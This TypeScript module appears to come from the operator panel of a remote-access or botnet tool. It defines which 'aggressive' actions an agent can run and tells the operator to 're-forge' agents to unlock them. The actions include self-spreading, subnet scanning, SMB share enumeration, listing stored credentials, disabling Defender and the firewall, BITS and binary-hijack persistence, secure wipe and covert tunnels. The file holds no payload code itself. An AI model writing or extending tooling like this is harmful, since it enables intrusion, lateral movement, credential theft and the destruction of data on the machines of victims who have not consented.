import type { AgentCapabilities } from '../types';

/** Aggressive remote actions wired in AgentRemoteActions + agent/client/aggressive_commands.go */
export const AGGRESSIVE_REMOTE_ACTIONS = [
  'hole_punch',
  'hole_punch_close',
  'hole_punch_status',
  'spread_now',
  'start_tunnel',
  'tunnel_cloudflared',
  'tunnel_ssh_forward',
  'tunnel_stop',
  'subnet_scan',
  'smb_shares',
  'credential_vault_list',
  'secure_wipe',
  'defender_off',
  'firewall_punch',
  'firewall_off',
  'firewall_on',
  'firewall_profiles',
  'firewall_remove',
  'bits_persist',
  'host_binary_persist',
  'mesh_status',
] as const;

export type AggressiveRemoteAction = (typeof AGGRESSIVE_REMOTE_ACTIONS)[number];

export function canRunAggressiveAction(
  action: AggressiveRemoteAction,
  caps?: AgentCapabilities | null,
  platform?: string
): boolean {
  if (platform === 'darwin' && action === 'defender_off') return false;
  if (
    platform !== 'windows' &&
    (action.startsWith('firewall_') ||
      action === 'bits_persist' ||
      action === 'host_binary_persist' ||
      action === 'smb_shares')
  ) {
    return false;
  }
  if (!caps) return true;
  switch (action) {
    case 'hole_punch':
    case 'hole_punch_close':
    case 'hole_punch_status':
      return caps.hole_punch;
    case 'spread_now':
      return caps.auto_spread || caps.remote_aggressive;
    case 'start_tunnel':
    case 'tunnel_cloudflared':
    case 'tunnel_ssh_forward':
    case 'tunnel_stop':
    case 'subnet_scan':
    case 'smb_shares':
    case 'credential_vault_list':
    case 'secure_wipe':
    case 'defender_off':
    case 'firewall_punch':
    case 'firewall_off':
    case 'firewall_on':
    case 'firewall_profiles':
    case 'firewall_remove':
    case 'bits_persist':
    case 'host_binary_persist':
      return caps.remote_aggressive;
    case 'mesh_status':
      return caps.mesh_p2p;
    default:
      return false;
  }
}

export function aggressiveActionHint(
  action: AggressiveRemoteAction,
  caps?: AgentCapabilities | null,
  platform?: string
): string | undefined {
  if (platform === 'darwin' && action === 'defender_off') {
    return 'Defender disable not supported on macOS';
  }
  if (platform !== 'windows' && action.startsWith('firewall_')) {
    return 'Firewall control is Windows-only';
  }
  if (platform !== 'windows' && action === 'bits_persist') {
    return 'BITS persistence is Windows-only';
  }
  if (platform !== 'windows' && action === 'host_binary_persist') {
    return 'Host binary hijack is Windows-only';
  }
  if (platform !== 'windows' && action === 'smb_shares') {
    return 'SMB share enumeration is Windows-only';
  }
  if (canRunAggressiveAction(action, caps, platform)) return undefined;
  switch (action) {
    case 'hole_punch':
    case 'hole_punch_close':
    case 'hole_punch_status':
      return 'Re-forge with Advanced → NAT Hole Punch';
    case 'spread_now':
      return 'Re-forge with Auto-Spread or Remote Aggressive Ops';
    case 'mesh_status':
      return 'Re-forge with Mesh P2P';
    default:
      return 'Re-forge with Remote Aggressive Ops (Advanced)';
  }
}